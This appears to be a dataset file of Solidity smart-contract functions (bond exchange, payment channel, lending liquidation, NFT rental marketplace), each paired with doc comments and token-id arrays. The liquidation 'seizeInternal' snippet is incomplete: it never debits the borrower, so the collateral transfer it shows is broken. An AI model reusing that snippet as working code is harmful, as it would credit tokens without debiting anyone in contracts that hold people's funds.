_calcBondPrice( bondMaker, bondPricer, bondIDs[i], oraclePriceE8, oracleVolE8 ); require(bondPrice != 0, "includes worthless bond"); allowanceInDollars = allowanceInDollars.add( allowance.mul(bondPrice) ); } } /** * @dev Calculate bond price by bond ID. */ function _calcBondPrice( BondMakerInterface bondMaker, BondPricerInterface bondPricer, bytes32 bondID, uint256 oraclePriceE8, uint256 oracleVolatilityE8 ) internal view returns (uint256) { int256 untilMaturity; { (, uint256 maturity, , ) = _getBond(bondMaker, bondID); untilMaturity = maturity .sub( _getBlockTimestampSec(), "the bond should not have expired" ) .toInt256(); } BondType bondType; uint256[] memory points; { bool isKnownBondType; (isKnownBondType, bondType, points) = _bondShapeDetector .getBondTypeByID(bondMaker, bondID, BondType.NONE); if (!isKnownBondType) { revert("unknown bond type"); // return 0; } } try bondPricer.calcPriceAndLeverage( bondType, points, oraclePriceE8.toInt256(), oracleVolatilityE8.toInt256(), untilMaturity ) returns (uint256 bondPriceE8, uint256) { return bondPriceE8; } catch { return 0; } } } // File: contracts/generalizedDotc/GeneralizedDotc.sol pragma solidity 0.6.6; contract GeneralizedDotc is BondVsBondExchange, BondVsErc20Exchange, BondVsEthExchange { constructor( BondMakerInterface bondMakerAddress, VolatilityOracleInterface volatilityOracleAddress, LatestPriceOracleInterface volumeCalculatorAddress, DetectBondShape bondShapeDetector ) public BondExchange( bondMakerAddress, volatilityOracleAddress, volumeCalculatorAddress, bondShapeDetector ) {} }
* @dev Returns the total approved bond amount in U.S. dollars. Unnecessary bond must not be included in bondIDs./
function _totalBondAllowance( BondMakerInterface bondMaker, VolatilityOracleInterface volatilityOracle, BondPricerInterface bondPricer, bytes32[] memory bondIDs, uint256 maturityBorder, address sender ) internal returns (uint256 allowanceInDollars) { uint256 oraclePriceE8 = _getLatestPrice(bondMaker.oracleAddress()); for (uint256 i = 0; i < bondIDs.length; i++) { ERC20 bond; uint256 oracleVolE8; { uint256 maturity; (bond, maturity, , ) = _getBond(bondMaker, bondIDs[i]); uint256 untilMaturity = maturity.sub( _getBlockTimestampSec(), "the bond should not have expired" ); oracleVolE8 = _getVolatility( volatilityOracle, untilMaturity.toUint64() ); } uint256 balance = bond.balanceOf(sender); require(balance != 0, "includes no bond balance"); uint256 allowance = bond.allowance(sender, address(this)); require(allowance != 0, "includes no approved bond"); uint256 bondPrice = _calcBondPrice( bondMaker, bondPricer, bondIDs[i], oraclePriceE8, oracleVolE8 ); require(bondPrice != 0, "includes worthless bond"); allowanceInDollars = allowanceInDollars.add( allowance.mul(bondPrice) ); } }
6,770,856
[ 1, 1356, 326, 2078, 20412, 8427, 3844, 316, 587, 18, 55, 18, 302, 22382, 5913, 18, 1351, 82, 4128, 8427, 1297, 486, 506, 5849, 316, 8427, 5103, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4963, 9807, 7009, 1359, 12, 203, 3639, 605, 1434, 12373, 1358, 8427, 12373, 16, 203, 3639, 26861, 30139, 23601, 1358, 6626, 30139, 23601, 16, 203, 3639, 605, 1434, 52, 1512, 264, 1358, 8427, 52, 1512, 264, 16, 203, 3639, 1731, 1578, 8526, 3778, 8427, 5103, 16, 203, 3639, 2254, 5034, 29663, 8107, 16, 203, 3639, 1758, 5793, 203, 565, 262, 2713, 1135, 261, 11890, 5034, 1699, 1359, 382, 40, 22382, 5913, 13, 288, 203, 3639, 2254, 5034, 20865, 5147, 41, 28, 273, 389, 588, 18650, 5147, 12, 26425, 12373, 18, 280, 16066, 1887, 10663, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 8427, 5103, 18, 2469, 31, 277, 27245, 288, 203, 5411, 4232, 39, 3462, 8427, 31, 203, 5411, 2254, 5034, 20865, 17431, 41, 28, 31, 203, 5411, 288, 203, 7734, 2254, 5034, 29663, 31, 203, 7734, 261, 26425, 16, 29663, 16, 269, 262, 273, 389, 588, 9807, 12, 26425, 12373, 16, 8427, 5103, 63, 77, 19226, 203, 7734, 2254, 5034, 3180, 15947, 2336, 273, 29663, 18, 1717, 12, 203, 10792, 389, 588, 1768, 4921, 2194, 9334, 203, 10792, 315, 5787, 8427, 1410, 486, 1240, 7708, 6, 203, 7734, 11272, 203, 7734, 20865, 17431, 41, 28, 273, 389, 588, 17431, 30139, 12, 203, 10792, 6626, 30139, 23601, 16, 203, 10792, 3180, 15947, 2336, 18, 869, 5487, 1105, 1435, 203, 7734, 11272, 203, 5411, 289, 203, 203, 5411, 2254, 5034, 11013, 273, 8427, 18, 12296, 951, 12, 15330, 1769, 203, 5411, 2583, 12, 12296, 480, 374, 16, 2 ]
pragma solidity ^0.5.0; // XXX enable returning structs from internal functions pragma experimental ABIEncoderV2; import "./PreimageManagerInterface.sol"; import "./ERC20Interface.sol"; import "./Math.sol"; // Note: Initial version does NOT support concurrent conditional payments! contract SpritesRegistry { //using Math for uint256; // Blocks for grace period uint constant DELTA = 5; struct Player { address addr; int credit; uint withdrawal; uint withdrawn; uint deposit; } enum Status {OK, PENDING} struct Payment { uint amount; uint expiry; address recipient; bytes32 preimageHash; } struct Channel { address tokenAddress; Player left; Player right; int bestRound; Status status; uint deadline; // Conditional payment Payment payment; } event EventInit(uint chId); event EventUpdate(uint chId, int round); event EventPending(uint chId, uint start, uint deadline); modifier onlyplayers (uint chId){ Channel storage ch = channels[chId]; require(ch.left.addr == msg.sender || ch.right.addr == msg.sender); _; } // Contract global data mapping(uint => Channel) public channels; PreimageManagerInterface pm; uint channelCounter; constructor (address preimageManagerAddress) public { pm = PreimageManagerInterface(preimageManagerAddress); channelCounter = 0; } function create(address other, address tokenAddress) public returns (uint chId) { chId = channelCounter; // using memory here reduces gas cost from ~ 300k to 200k Channel memory channel; Payment memory payment; channel.tokenAddress = tokenAddress; channel.left.addr = msg.sender; channel.right.addr = other; channel.bestRound = - 1; channel.status = Status.OK; channel.deadline = 0; // not sure payment.expiry = 0; payment.amount = 0; payment.preimageHash = bytes32(0); payment.recipient = address(0x0); channel.payment = payment; channels[chId] = channel; channelCounter += 1; emit EventInit(chId); return chId; } function createWithDeposit(address other, address tokenAddress, uint amount) public returns (uint chId) { chId = create(other, tokenAddress); assert(deposit(chId, amount)); } function getPlayers(uint chId) public view returns (address[2] memory) { Channel storage ch = channels[chId]; return [ch.left.addr, ch.right.addr]; } function lookupPlayer(uint chId) internal view onlyplayers(chId) returns (Player storage) { Channel storage ch = channels[chId]; if (ch.left.addr == msg.sender) return ch.left; else return ch.right; } function lookupOtherPlayer(uint chId) internal view onlyplayers(chId) returns (Player storage) { Channel storage ch = channels[chId]; if (ch.left.addr == msg.sender) return ch.right; else return ch.left; } // Increment on new deposit // user first needs to approve us to transfer tokens function deposit(uint chId, uint amount) public onlyplayers(chId) returns (bool) { Channel storage ch = channels[chId]; bool status = ERC20Interface(ch.tokenAddress).transferFrom(msg.sender, address(this), amount); // return status 0 if transfer failed, 1 otherwise require(status == true); Player storage player = lookupPlayer(chId); //player.deposit += amount; player.deposit = Math.add(player.deposit, amount); return true; } function depositTo(uint chId, address who, uint amount) public onlyplayers(chId) returns (bool) { Channel storage ch = channels[chId]; require(ch.left.addr == who || ch.right.addr == who); ERC20Interface token = ERC20Interface(ch.tokenAddress); bool status = token.transferFrom(msg.sender, address(this), amount); require(status == true); Player storage player = (ch.left.addr == who) ? ch.left : ch.right; player.deposit = Math.add(player.deposit, amount); } function getDeposit(uint chId) public view returns (uint) { return lookupPlayer(chId).deposit; } function getStatus(uint chId) public view returns (Status) { return channels[chId].status; } function getDeadline(uint chId) public view returns (uint) { return channels[chId].deadline; } function getWithdrawn(uint chId) public view returns (uint) { return lookupPlayer(chId).withdrawn; } // Increment on withdrawal // XXX does currently not support incremental withdrawals // XXX check if failing assert undoes all changes made in tx function withdraw(uint chId) public onlyplayers(chId) { Player storage player = lookupPlayer(chId); uint toWithdraw = Math.sub(player.withdrawal, player.withdrawn); require(ERC20Interface(channels[chId].tokenAddress) .transfer(msg.sender, toWithdraw)); player.withdrawn = player.withdrawal; } // XXX the experimental ABI encoder supports return struct, but as of 2018 04 08 // web3.py does not seem to support decoding structs. function getState(uint chId) public view onlyplayers(chId) returns ( uint[2] memory deposits, int[2] memory credits, uint[2] memory withdrawals, int round, bytes32 preimageHash, address recipient, uint amount, uint expiry ) { Player storage left = channels[chId].left; Player storage right = channels[chId].right; Payment storage payment = channels[chId].payment; deposits[0] = left.deposit; deposits[1] = right.deposit; credits[0] = left.credit; credits[1] = right.credit; withdrawals[0] = left.withdrawal; withdrawals[1] = right.withdrawal; round = channels[chId].bestRound; preimageHash = payment.preimageHash; recipient = payment.recipient; amount = payment.amount; expiry = payment.expiry; } function serializeState( uint chId, int[2] memory credits, uint[2] memory withdrawals, int round, bytes32 preimageHash, address recipient, uint amount, uint expiry) public pure returns (bytes memory) { return abi.encode( chId, credits, withdrawals, round, preimageHash, recipient, amount, expiry); } // providing this separtely to test from application code function recoverAddress(bytes32 msgHash, uint[3] memory sig) public pure returns (address) { uint8 V = uint8(sig[0]); bytes32 R = bytes32(sig[1]); bytes32 S = bytes32(sig[2]); return ecrecover(msgHash, V, R, S); } function isSignatureOkay(address signer, bytes32 msgHash, uint[3] memory sig) public pure returns (bool) { require(signer == recoverAddress(msgHash, sig)); return true; } // message length is 320 = 32bytes * number of (flattened) arguments bytes constant chSigPrefix = "\x19Ethereum Signed Message:\n320"; function verifyUpdate( uint chId, int[2] memory credits, uint[2] memory withdrawals, int round, bytes32 preimageHash, address recipient, uint amount, uint expiry, uint[3] memory sig) public view onlyplayers(chId) returns (bool) { // Do not allow overpayment. // We can't check for overpayment because the chain state might // not be up to date? // Verify the update does not include an overpayment needs to be done by client? // assert(int(amount) <= int(other.deposit) + credits[0]); // TODO use safe math // Only update to states with larger round number require(round >= channels[chId].bestRound); bytes32 stateHash = keccak256( abi.encodePacked( chSigPrefix, serializeState( chId, credits, withdrawals, round, preimageHash, recipient, amount, expiry))); Player storage other = lookupOtherPlayer(chId); return isSignatureOkay(other.addr, stateHash, sig); } function update( uint chId, int[2] memory credits, uint[2] memory withdrawals, int round, bytes32 preimageHash, address recipient, uint amount, uint expiry, uint[3] memory sig) public onlyplayers(chId) { verifyUpdate( chId, credits, withdrawals, round, preimageHash, recipient, amount, expiry, sig); updatePayment(chId, preimageHash, recipient, amount, expiry); updatePlayers(chId, credits, withdrawals); updateChannel(chId, round); emit EventUpdate(chId, round); } function updatePlayers( uint chId, int[2] memory credits, uint[2] memory withdrawals) private { Player storage left = channels[chId].left; Player storage right = channels[chId].right; left.credit = credits[0]; left.withdrawal = withdrawals[0]; right.credit = credits[1]; right.withdrawal = withdrawals[1]; // TODO conversion? safe math? // prevent over withdrawals assert(int(left.withdrawal) <= int(left.deposit) + left.credit); // FAIL! assert(int(right.withdrawal) <= int(right.deposit) + right.credit); } function updateChannel(uint chId, int round) private { channels[chId].bestRound = round; } function updatePayment( uint chId, bytes32 preimageHash, address recipient, uint amount, uint expiry) private { Payment storage payment = channels[chId].payment; payment.preimageHash = preimageHash; payment.recipient = recipient; payment.amount = amount; payment.expiry = expiry; } // Combined update and withdraw calls for reducing the required // number of transactions in best-case scenarios. function updateAndWithdraw( uint chId, int[2] memory credits, uint[2] memory withdrawals, int round, bytes32 preimageHash, address recipient, uint amount, uint expiry, uint[3] memory sig) public onlyplayers(chId) { update(chId, credits, withdrawals, round, preimageHash, recipient, amount, expiry, sig); withdraw(chId); } // Causes a timeout for the finalize time function trigger(uint chId) public onlyplayers(chId) { Channel storage ch = channels[chId]; require(ch.status == Status.OK); ch.status = Status.PENDING; ch.deadline = block.number + DELTA; // Set the deadline for collecting inputs or updates emit EventPending(chId, block.number, ch.deadline); } function finalize(uint chId) public onlyplayers(chId) { Channel storage ch = channels[chId]; Payment storage payment = ch.payment; require(ch.status == Status.PENDING); require(block.number > ch.deadline); // Finalize is safe to call multiple times // If "trigger" occurs before a hashlock expires, finalize will need to be called again if (payment.amount > 0 && block.number > payment.expiry) { bool revealed = pm.revealedBefore(payment.preimageHash, payment.expiry); bool paymentToRight = payment.recipient == ch.right.addr; bool sendToRight = (revealed && paymentToRight) || (!revealed && !paymentToRight); if (sendToRight) { ch.right.withdrawal = Math.add(ch.right.withdrawal, payment.amount); } else { ch.left.withdrawal = Math.add(ch.left.withdrawal, payment.amount); } // reset the in-flight payment that is now resolved payment.amount = 0; payment.preimageHash = bytes32(0); payment.expiry = 0; payment.recipient = address(0x0); } // Withdraw the maximum amounts left in the channel ch.left.withdrawal = Math.add(ch.left.withdrawal, (uint(int(ch.left.deposit) + ch.left.credit))); ch.right.withdrawal = Math.add(ch.right.withdrawal, (uint(int(ch.right.deposit) + ch.right.credit))); // prevent over withdrawals ch.left.credit = - int(ch.left.deposit); ch.right.credit = - int(ch.right.deposit); // prevent overdraw from the channel assert(int(ch.left.withdrawal) + int(ch.right.withdrawal) == int(ch.left.deposit) + int(ch.right.deposit)); } }
Increment on withdrawal XXX does currently not support incremental withdrawals XXX check if failing assert undoes all changes made in tx
function withdraw(uint chId) public onlyplayers(chId) { Player storage player = lookupPlayer(chId); uint toWithdraw = Math.sub(player.withdrawal, player.withdrawn); require(ERC20Interface(channels[chId].tokenAddress) .transfer(msg.sender, toWithdraw)); player.withdrawn = player.withdrawal; }
15,794,551
[ 1, 10798, 603, 598, 9446, 287, 11329, 1552, 4551, 486, 2865, 20649, 598, 9446, 1031, 11329, 866, 309, 21311, 1815, 15436, 281, 777, 3478, 7165, 316, 2229, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 462, 548, 13, 1071, 1338, 1601, 414, 12, 343, 548, 13, 288, 203, 3639, 19185, 2502, 7291, 273, 3689, 12148, 12, 343, 548, 1769, 203, 3639, 2254, 358, 1190, 9446, 273, 2361, 18, 1717, 12, 14872, 18, 1918, 9446, 287, 16, 7291, 18, 1918, 9446, 82, 1769, 203, 3639, 2583, 12, 654, 39, 3462, 1358, 12, 9114, 63, 343, 548, 8009, 2316, 1887, 13, 203, 5411, 263, 13866, 12, 3576, 18, 15330, 16, 358, 1190, 9446, 10019, 203, 3639, 7291, 18, 1918, 9446, 82, 273, 7291, 18, 1918, 9446, 287, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0xb51E726a6FcD8723Db4634736Eb6c87C15Ad7A73/sources/contracts/PToken.sol
* @notice Transfers collateral tokens (this market) to the liquidator. @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another PToken. Its absolutely critical to use msg.sender as the seizer pToken and not a parameter. @param seizerToken The contract seizing the collateral (i.e. borrowed pToken) @param liquidator The account receiving seized collateral @param borrower The account having collateral seized @param seizeTokens The number of pTokens to seize @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)/ Fail if seize not allowed */ Fail if borrower = liquidator */
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { uint allowed = controller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_CONTROLLER_REJECTION, allowed); } if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } accountTokens[liquidator] = liquidatorTokensNew; return uint(Error.NO_ERROR); }
8,513,219
[ 1, 1429, 18881, 4508, 2045, 287, 2430, 261, 2211, 13667, 13, 358, 326, 4501, 26595, 639, 18, 225, 11782, 1338, 4982, 392, 316, 17, 9224, 4501, 26595, 367, 16, 578, 635, 4501, 26595, 340, 38, 15318, 4982, 326, 4501, 26595, 367, 434, 4042, 453, 1345, 18, 225, 29517, 2417, 355, 322, 2357, 11239, 358, 999, 1234, 18, 15330, 487, 326, 695, 1824, 293, 1345, 471, 486, 279, 1569, 18, 225, 695, 1824, 1345, 1021, 6835, 695, 6894, 326, 4508, 2045, 287, 261, 77, 18, 73, 18, 29759, 329, 293, 1345, 13, 225, 4501, 26595, 639, 1021, 2236, 15847, 695, 1235, 4508, 2045, 287, 225, 29759, 264, 1021, 2236, 7999, 4508, 2045, 287, 695, 1235, 225, 695, 554, 5157, 1021, 1300, 434, 293, 5157, 358, 695, 554, 327, 2254, 374, 33, 4768, 16, 3541, 279, 5166, 261, 5946, 1068, 13289, 18, 18281, 364, 3189, 13176, 8911, 309, 695, 554, 486, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 695, 554, 3061, 12, 2867, 695, 1824, 1345, 16, 1758, 4501, 26595, 639, 16, 1758, 29759, 264, 16, 2254, 695, 554, 5157, 13, 2713, 1135, 261, 11890, 13, 288, 203, 3639, 2254, 2935, 273, 2596, 18, 307, 554, 5042, 12, 2867, 12, 2211, 3631, 695, 1824, 1345, 16, 4501, 26595, 639, 16, 29759, 264, 16, 695, 554, 5157, 1769, 203, 3639, 309, 261, 8151, 480, 374, 13, 288, 203, 5411, 327, 2321, 3817, 14886, 12, 668, 18, 6067, 25353, 67, 862, 30781, 3106, 16, 13436, 966, 18, 2053, 53, 3060, 1777, 67, 1090, 15641, 67, 6067, 25353, 67, 862, 30781, 3106, 16, 2935, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 70, 15318, 264, 422, 4501, 26595, 639, 13, 288, 203, 5411, 327, 2321, 12, 668, 18, 9347, 67, 21690, 67, 4066, 7937, 16, 13436, 966, 18, 2053, 53, 3060, 1777, 67, 1090, 15641, 67, 2053, 53, 3060, 3575, 67, 5127, 67, 38, 916, 11226, 654, 1769, 203, 3639, 289, 203, 203, 3639, 2361, 668, 4233, 2524, 31, 203, 3639, 2254, 29759, 264, 5157, 1908, 31, 203, 3639, 2254, 4501, 26595, 639, 5157, 1908, 31, 203, 203, 3639, 309, 261, 15949, 2524, 480, 2361, 668, 18, 3417, 67, 3589, 13, 288, 203, 5411, 327, 2321, 3817, 14886, 12, 668, 18, 49, 3275, 67, 3589, 16, 13436, 966, 18, 2053, 53, 3060, 1777, 67, 1090, 15641, 67, 38, 1013, 4722, 67, 1639, 23923, 67, 11965, 16, 2254, 12, 15949, 2524, 10019, 203, 3639, 289, 203, 203, 3639, 261, 15949, 2524, 16, 4501, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../interfaces/IERC721Consumable.sol"; import "../interfaces/IMarketplaceFacet.sol"; import "../libraries/LibERC721.sol"; import "../libraries/LibTransfer.sol"; import "../libraries/LibFee.sol"; import "../libraries/LibOwnership.sol"; import "../libraries/marketplace/LibMarketplace.sol"; import "../libraries/marketplace/LibMetaverseConsumableAdapter.sol"; import "../libraries/marketplace/LibRent.sol"; import "../shared/RentPayout.sol"; contract MarketplaceFacet is IMarketplaceFacet, ERC721Holder, RentPayout { /// @notice Provides asset of the given metaverse registry for rental. /// Transfers and locks the provided metaverse asset to the contract. /// and mints an asset, representing the locked asset. /// @param _metaverseId The id of the metaverse /// @param _metaverseRegistry The registry of the metaverse /// @param _metaverseAssetId The id from the metaverse registry /// @param _minPeriod The minimum number of time (in seconds) the asset can be rented /// @param _maxPeriod The maximum number of time (in seconds) the asset can be rented /// @param _maxFutureTime The timestamp delta after which the protocol will not allow /// the asset to be rented at an any given moment. /// @param _paymentToken The token which will be accepted as a form of payment. /// Provide 0x0000000000000000000000000000000000000001 for ETH. /// @param _pricePerSecond The price for rental per second /// @return The newly created asset id. function list( uint256 _metaverseId, address _metaverseRegistry, uint256 _metaverseAssetId, uint256 _minPeriod, uint256 _maxPeriod, uint256 _maxFutureTime, address _paymentToken, uint256 _pricePerSecond ) external returns (uint256) { require( _metaverseRegistry != address(0), "_metaverseRegistry must not be 0x0" ); require( LibMarketplace.supportsRegistry(_metaverseId, _metaverseRegistry), "_registry not supported" ); require(_minPeriod != 0, "_minPeriod must not be 0"); require(_maxPeriod != 0, "_maxPeriod must not be 0"); require(_minPeriod <= _maxPeriod, "_minPeriod more than _maxPeriod"); require( _maxPeriod <= _maxFutureTime, "_maxPeriod more than _maxFutureTime" ); require( LibFee.supportsTokenPayment(_paymentToken), "payment type not supported" ); uint256 asset = LibERC721.safeMint(msg.sender); LibMarketplace.MarketplaceStorage storage ms = LibMarketplace .marketplaceStorage(); ms.assets[asset] = LibMarketplace.Asset({ metaverseId: _metaverseId, metaverseRegistry: _metaverseRegistry, metaverseAssetId: _metaverseAssetId, paymentToken: _paymentToken, minPeriod: _minPeriod, maxPeriod: _maxPeriod, maxFutureTime: _maxFutureTime, pricePerSecond: _pricePerSecond, status: LibMarketplace.AssetStatus.Listed, totalRents: 0 }); LibTransfer.erc721SafeTransferFrom( _metaverseRegistry, msg.sender, address(this), _metaverseAssetId ); emit List( asset, _metaverseId, _metaverseRegistry, _metaverseAssetId, _minPeriod, _maxPeriod, _maxFutureTime, _paymentToken, _pricePerSecond ); return asset; } /// @notice Updates the lending conditions for a given asset. /// Pays out any unclaimed rent to consumer if set, otherwise it is paid to the owner of the LandWorks NFT /// Updated conditions apply the next time the asset is rented. /// Does not affect previous and queued rents. /// If any of the old conditions do not want to be modified, the old ones must be provided. /// @param _assetId The target asset /// @param _minPeriod The minimum number in seconds the asset can be rented /// @param _maxPeriod The maximum number in seconds the asset can be rented /// @param _maxFutureTime The timestamp delta after which the protocol will not allow /// the asset to be rented at an any given moment. /// @param _paymentToken The token which will be accepted as a form of payment. /// Provide 0x0000000000000000000000000000000000000001 for ETH /// @param _pricePerSecond The price for rental per second function updateConditions( uint256 _assetId, uint256 _minPeriod, uint256 _maxPeriod, uint256 _maxFutureTime, address _paymentToken, uint256 _pricePerSecond ) external payout(_assetId) { require( LibERC721.isApprovedOrOwner(msg.sender, _assetId) || LibERC721.isConsumerOf(msg.sender, _assetId), "caller must be consumer, approved or owner of _assetId" ); require(_minPeriod != 0, "_minPeriod must not be 0"); require(_maxPeriod != 0, "_maxPeriod must not be 0"); require(_minPeriod <= _maxPeriod, "_minPeriod more than _maxPeriod"); require( _maxPeriod <= _maxFutureTime, "_maxPeriod more than _maxFutureTime" ); require( LibFee.supportsTokenPayment(_paymentToken), "payment type not supported" ); LibMarketplace.MarketplaceStorage storage ms = LibMarketplace .marketplaceStorage(); LibMarketplace.Asset storage asset = ms.assets[_assetId]; asset.paymentToken = _paymentToken; asset.minPeriod = _minPeriod; asset.maxPeriod = _maxPeriod; asset.maxFutureTime = _maxFutureTime; asset.pricePerSecond = _pricePerSecond; emit UpdateConditions( _assetId, _minPeriod, _maxPeriod, _maxFutureTime, _paymentToken, _pricePerSecond ); } /// @notice Delists the asset from the marketplace. /// If there are no active rents: /// Burns the asset and transfers the original metaverse asset represented by the asset to the asset owner. /// Pays out the current unclaimed rent fees to the asset owner. /// @param _assetId The target asset function delist(uint256 _assetId) external { LibMarketplace.MarketplaceStorage storage ms = LibMarketplace .marketplaceStorage(); require( LibERC721.isApprovedOrOwner(msg.sender, _assetId), "caller must be approved or owner of _assetId" ); LibMarketplace.Asset memory asset = ms.assets[_assetId]; ms.assets[_assetId].status = LibMarketplace.AssetStatus.Delisted; emit Delist(_assetId, msg.sender); if (block.timestamp >= ms.rents[_assetId][asset.totalRents].end) { withdraw(_assetId); } } /// @notice Withdraws the already delisted from marketplace asset. /// Burns the asset and transfers the original metaverse asset represented by the asset to the asset owner. /// Pays out any unclaimed rent to consumer if set, otherwise it is paid to the owner of the LandWorks NFT /// @param _assetId The target _assetId function withdraw(uint256 _assetId) public payout(_assetId) { LibMarketplace.MarketplaceStorage storage ms = LibMarketplace .marketplaceStorage(); require( LibERC721.isApprovedOrOwner(msg.sender, _assetId), "caller must be approved or owner of _assetId" ); LibMarketplace.Asset memory asset = ms.assets[_assetId]; require( asset.status == LibMarketplace.AssetStatus.Delisted, "_assetId not delisted" ); require( block.timestamp >= ms.rents[_assetId][asset.totalRents].end, "_assetId has an active rent" ); clearConsumer(asset); delete LibMarketplace.marketplaceStorage().assets[_assetId]; address owner = LibERC721.ownerOf(_assetId); LibERC721.burn(_assetId); LibTransfer.erc721SafeTransferFrom( asset.metaverseRegistry, address(this), owner, asset.metaverseAssetId ); emit 